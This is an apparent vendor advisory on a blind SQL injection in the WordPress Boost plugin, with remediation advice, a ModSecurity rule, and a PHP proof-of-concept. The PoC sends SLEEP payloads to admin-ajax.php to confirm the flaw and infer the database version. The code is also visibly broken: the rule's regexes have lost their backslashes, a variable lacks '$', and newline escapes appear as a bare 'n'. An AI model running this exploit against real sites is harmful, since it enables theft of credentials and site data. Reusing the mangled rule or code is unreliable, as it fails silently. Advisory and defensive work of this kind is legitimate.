Atomic Edge analysis of CVE-2026-9010 (metadata-based): This vulnerability is an unauthenticated time-based blind SQL injection in the Boost plugin for WordPress, affecting versions up to and including 2.0.3. An attacker can exploit the ‘current_url’ and ‘user_name’ parameters without authentication to extract sensitive data from the WordPress database. The CVSS score of 7.5 (High) with confidentiality impact as High reflects the severity of data exfiltration risk.
The root cause, inferred from the CWE classification (CWE-89: SQL Injection) and the vulnerability description, is improper neutralization of special elements used in SQL commands. Atomic Edge research concludes that the plugin likely passes user-supplied values from the ‘current_url’ and ‘user_name’ parameters directly into SQL queries via the WordPress $wpdb ‘prepare()’ function without proper sanitization or parameterized queries. The ‘insufficient escaping’ mention indicates the plugin may use ‘esc_sql()’ or similar escaping functions that are inadequate for certain SQL injection vectors, or may rely on incomplete custom filtering. This conclusion is inferred from the CWE and description; no code diff was available for confirmation.
For exploitation, an unauthenticated attacker would send HTTP POST requests to the WordPress AJAX handler at ‘/wp-admin/admin-ajax.php’ with the action parameter set to the Boost plugin’s AJAX hook, and inject malicious SQL payloads into the ‘current_url’ or ‘user_name’ parameters. The time-based blind SQL injection technique allows attackers to extract database contents by observing response timing differences. A typical payload would inject a conditional time delay, such as ‘current_url=test’ AND SLEEP(5)– -‘, to confirm the injection point exists, then gradually extract database version, user credentials, or other sensitive data through boolean-based or time-based queries using SLEEP() or BENCHMARK() functions.
Remediation, based on Atomic Edge analysis of the CWE, requires the plugin developers to use proper parameterized SQL queries with $wpdb->prepare() and placeholders (%s, %d) for all user-supplied input. Additionally, input validation using WordPress sanitization functions like ‘sanitize_text_field()’ or ‘sanitize_url()’ for the ‘current_url’ parameter should be applied before database operations. The patched version 2.0.4 likely implements these fixes.
If exploited, this vulnerability allows unauthenticated attackers to extract any data from the WordPress database, including user credentials (hashed passwords), user emails, security tokens, private post content, and site configuration. The time-based blind SQL injection technique makes exploitation stealthier than error-based methods, though it requires more requests to extract data. Data exfiltration from the database can lead to account compromise, privilege escalation, and further attacks against the WordPress installation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9010 (metadata-based)
# Blocks time-based blind SQL injection attempts targeting the 'current_url' parameter
# via the Boost plugin's AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20269010,phase:2,deny,status:403,chain,msg:'CVE-2026-9010: Boost plugin SQL injection via current_url parameter',severity:'CRITICAL',tag:'CVE-2026-9010',tag:'wordpress',tag:'boost',tag:'sqli'"
SecRule ARGS_POST:action "@rx ^boost_" "chain"
SecRule ARGS_POST:current_url "@rx (?i)(bSLEEPb|bBENCHMARKb|bWAITFORb|bPG_SLEEPb|bANDs+[0-9]+|bORs+[0-9]+|--|#)"
"chain"
SecRule MATCHED_VAR "@rx (?i)(?:b(?:SLEEP|BENCHMARK|WAITFOR|PG_SLEEP)s*(|[0-9]+[^a-zA-Zs])"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9010 - Boost <= 2.0.3 - Unauthenticated Blind SQL Injection via Multiple Parameters
<?php
/**
* Proof of Concept for CVE-2026-9010
* Time-based blind SQL injection in the 'current_url' parameter
* Assumes vulnerable endpoint: /wp-admin/admin-ajax.php with action 'boost_track'
* (This action name is inferred; actual action may differ)
*/
// CONFIGURATION - Edit these values
target_url = 'http://example.com/wp-admin/admin-ajax.php';
// Function to send request and measure response time
function send_payload($target_url, $payload) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'boost_track', // Inferred action name
'current_url' => $payload,
'user_name' => 'test'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
return ($end_time - $start_time);
}
// Step 1: Verify the injection point exists (look for time delay)
echo "Testing injection point for time-based blind SQLi...n";
// Normal request (should be fast)
$normal_time = send_payload($target_url, 'http://example.com/page');
echo "Normal response time: " . round($normal_time, 4) . " secondsn";
// SQL injection with SLEEP(5) - if the query executes, response takes ~5 seconds
$test_payload = "http://example.com/page' AND SLEEP(5)-- -";
$injected_time = send_payload($target_url, $test_payload);
echo "Injected response time: " . round($injected_time, 4) . " secondsn";
if ($injected_time > 3) {
echo "[+] Vulnerability confirmed: Time delay detected (" . round($injected_time, 2) . " seconds)n";
} else {
echo "[-] No time delay detected. Either the endpoint is wrong or the plugin is patched.n";
echo " Try changing the 'action' parameter in the code to match the plugin's actual AJAX hook.n";
exit;
}
// Step 2: Extract database version (example: check if version is 8.0.0 using time-based query)
echo "nAttempting to extract database version (time-based)...n";
$version_check_payload = "http://example.com/page' AND IF(SUBSTRING(@@version,1,1)='8', SLEEP(3), 0)-- -";
$version_time = send_payload($target_url, $version_check_payload);
if ($version_time > 2) {
echo "[+] Database version starts with '8' (detected via time delay)n";
} else {
echo "[-] Database version does not start with '8'n";
}
echo "nPoC execution complete. Manual extraction of data can be automated by iterating through characters.n";
echo "Note: Actual AJAX action name may differ; check plugin files or traffic for correct hook.n";
?>
